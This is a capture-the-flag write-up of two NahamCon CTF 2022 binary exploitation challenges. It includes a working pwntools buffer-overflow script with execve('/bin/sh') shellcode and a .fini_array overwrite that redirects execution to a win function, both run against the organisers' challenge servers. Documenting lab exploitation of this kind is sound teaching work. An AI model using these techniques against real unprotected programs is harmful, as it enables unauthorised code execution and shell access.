NahamCon CTF 2022 Write-up (pwn)

Hi everyone! NahamCon CTF 2022 was held from 29/4-30/4. Before we begin, make sure you have pwntools and Python installed. Let’s get started!

1. Challenges

  • Babysteps
    • Buffer overflow with on stack execution on a 32-bits C-based ELF progam to obtain a shell. CALL EAX is used to jump to the start of the shellcode due to gets().
  • Detour
    • Allowing one time arbitary write at any location on ASLR/PIE disabled x64 C-based ELF program. Write is done to destructor to jump to the win() function.

2. Babysteps

2.1 Files provided

2.2 Overview

We can see that at the start of the program, it will prompt us for a baby’s name before a list of commands we can issue to the baby.

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>


#define BABYBUFFER 16

void setup(void) {
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

void whine() {
  puts("You whine: 'WAAAAAAHHHH!! WAAH, WAAHH, WAAAAAAHHHH'\n");
}

void scream() {
  puts("You scream: 'WAAAAAAHHHH!! WAAH, WAAHH, WAAAAAAHHHH'\n");
}

void cry() {
  puts("You cry: 'WAAAAAAHHHH!! WAAH, WAAHH, WAAAAAAHHHH'\n");
}

void sleep() {
  puts("Night night, baby!\n");
  exit(-1);
}


void ask_baby_name() {
  char buffer[BABYBUFFER];
  puts("First, what is your baby name?");
  return gets(buffer);
}

int main(int argc, char **argv){
  setup();

  puts("              _)_");
  puts("           .-'(/ '-.");
  puts("          /    `    \\");
  puts("         /  -     -  \\");
  puts("        (`  a     a  `)");
  puts("         \\     ^     /");
  puts("          '. '---' .'");
  puts("          .-`'---'`-.");
  puts("         /           \\");
  puts("        /  / '   ' \\  \\");
  puts("      _/  /|       |\\  \\_");
  puts("     `/|\\` |+++++++|`/|\\`");
  puts("          /\\       /\\");
  puts("          | `-._.-` |");
  puts("          \\   / \\   /");
  puts("          |_ |   | _|");
  puts("          | _|   |_ |");
  puts("          (ooO   Ooo)");
  puts("");

  puts("=== BABY SIMULATOR 9000 ===");

  puts("How's it going, babies!!");
  puts("Are you ready for the adventure of a lifetime? (literally?)");
  puts("");
  ask_baby_name();

  puts("Pefect! Now let's get to being a baby!\n");

  char menu_option;

  do{

    puts("CHOOSE A BABY ACTIVITY");
    puts("a. Whine");
    puts("b. Cry");
    puts("c. Scream");
    puts("d. Throw a temper tantrum");
    puts("e. Sleep.");
    scanf(" %c",&menu_option);

    switch(menu_option){

      case 'a':
        whine();
        break;
      case 'b':
        cry();
        break;
      case 'c':
        scream();
        break;
      case 'd':
        scream();
        cry();
        whine();
        cry();
        scream();
        break;
      case 'e':
        sleep();
        break;

      default:
        puts("WAAAAAAHHHH, THAT NO-NO!!!\n");
        break;
    }

  }while(menu_option !='e');

}

2.3 Security settings

kali@kali~$ ~/.local/bin/pwn checksec ./babysteps 
[*] '/home/kali/Desktop/babysteps'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

2.4 Vulnerability

If we look at ask_baby_name(), we can see that it is vulnerable to buffer overflow (BoF) as there is no checks on the number of characters we can input due to gets() being used. Besides that, we know that there are no canary protection.

Since the program ends with gets() being called last before it’s return value is used as ask_baby_name()‘s return value, this means EAX register points to the shellcode. We can search for “CALL EAX” gadget to jump back to the start of the buffer variable where our shellcode is at.

Below in IDA, we can see that EAX is not modified after calling gets().

We need to calculate the amount of space from the buffer variable to return address location which is 0x18 + 0x4 (EBP space) = 0x1C (28) bytes. There is more than enough space for our shellcode.

As a result, we can craft a Linux shellcode as shown below. I needed to change the position of ESP by “sub esp,0x50” so that when I push stuff onto the stack such as “/bin/sh\x00000000”, it wouldn’t overwrite my shellcode on the stack since the ESP position is close to my shellcode position on the stack. (PicoCTF 2022’s ROPFU challenge and HackTheBox’s Format have such a situation as well)

sub esp,0x50       # \x83\xec\x50 (change the stack pointer's position)
xor edx,edx        # \x31\xd2 (set that there is no 3rd arg)
push edx           # \x52     (push null byte onto stack as string terminator)
xor ecx,ecx        # \x31\xc9 (set that there is no 2nd arg)
push '//sh'        # \x68\x2f\x2f\x73\x68 (push "/bin//sh")
push '/bin'        # \x68\x2f\x62\x69\x6e
mov ebx,esp        # \x89\xe3 (set ebx, the 1st arg, with "/bin//sh\0")
push 0x0b          # \x6a\x0b
pop eax            # \x58     (set to use sys_execve)
int 0x80           # \xcd\x80

2.5 Craft exploit & get flag

With that knowledge, I can now craft babysteps_exploit.py:

from pwn import *

context.arch = "i386"

r = remote("challenge.nahamcon.com", 31935)
#r = gdb.debug("./babysteps")
#r = process("./babysteps")
elf = ELF("./babysteps")

# 0x4 is ESP space
OFFSET_buffer_2_ret = 0x18 + 0x4
shellcode = b'\x83\xec\x50\x31\xd2\x52\x31\xc9\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80'
padding_to_ret = (OFFSET_buffer_2_ret - len(shellcode)) * b'A'

# get CALL EAX gadget address
call_eax_asm = asm("call eax")
call_eax = next(elf.search(call_eax_asm, executable = True))
print("CALL EAX address: " + hex(call_eax))

# craft final payload
payload = shellcode + padding_to_ret+ p32(call_eax)

r.sendlineafter(b'First, what is your baby name?\n', payload)

r.interactive()

r.close()

kali@kali~$ python3 babysteps_exploit.py
[+] Opening connection to challenge.nahamcon.com on port 31935: Done
[*] '/home/kali/Desktop/babysteps'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
CALL EAX address: 0x8049019
[*] Switching to interactive mode
$ ls
babysteps
bin
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{7d4ce4594f7511f8d7d6d0b1edd1a162}

3. Detour

3.1 Files provided

3.2 Overview

Looking at main. We can see that it will prompt us for an integer and store in the what variable and a long integer to store in the where variable as shown in the green and red arrows respectively.

Note that the orange box is showing that our input for the where variable will be used to add to the base’s offset and our input for the what variable will write to that address.

Below shows the decompiled version if you prefer it.

Below shows the continuation from main() where there are no more function calls except __stack_chk_fail() which isn’t possible to for us modify the canary to trigger it. We cannot modify the .text section since it has no Write attribute.

The base variable at the .bss section.

The win() function we need to jump to.

3.3 Security settings

Firstly, we can look at the destructor section to see if it is writeable as the destructor function is executed after exiting main(). It was previously known as .dtors but is now known as .fini_aray. We can see that it as a ‘W’ attribute which allows us to write to overwrite it.

kali@kali~$ readelf -S ./detour | grep .fini_array -A1 -B2
  [20] .init_array       INIT_ARRAY       00000000004031b8  000021b8
       0000000000000010  0000000000000008  WA       0     0     8
  [21] .fini_array       FINI_ARRAY       00000000004031c8  000021c8
       0000000000000008  0000000000000008  WA       0     0     8

Despite having a Write attribute, RELO will prevent us from writing to it once loaded just like the Global Offset Table. Thankfully, the security setting for the program shows that there is no RELRO which means we can write win()‘s array to .fini_array so that win() gets executed instead of the destructor when exiting main().

kali@kali~$ ~/.local/bin/pwn checksec ./detour
[*] '/home/kali/Desktop/detour'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Below shows the .fini_array that stores the offset/address to the destructor function. That value shall be replaced by the win()‘s address.

3.4 Calculations

With that knowledge, we can now do some calculations and convert them into base 10 numbers because we must use base 10 numbers for our inputs. You can easily obtain those addresses from IDA.

win: 0x401209 = 4198921
base: 0x403430
fini_array: 0x4031c8
fini_array - base: -616

3.5 Get the flag

kali@kali~$  nc challenge.nahamcon.com 32032
What: 4198921
Where: -616
ls
bin
detour
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
cat flag.txt
flag{787325292ef650fa69541722bb57bed9}

I hope this article has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.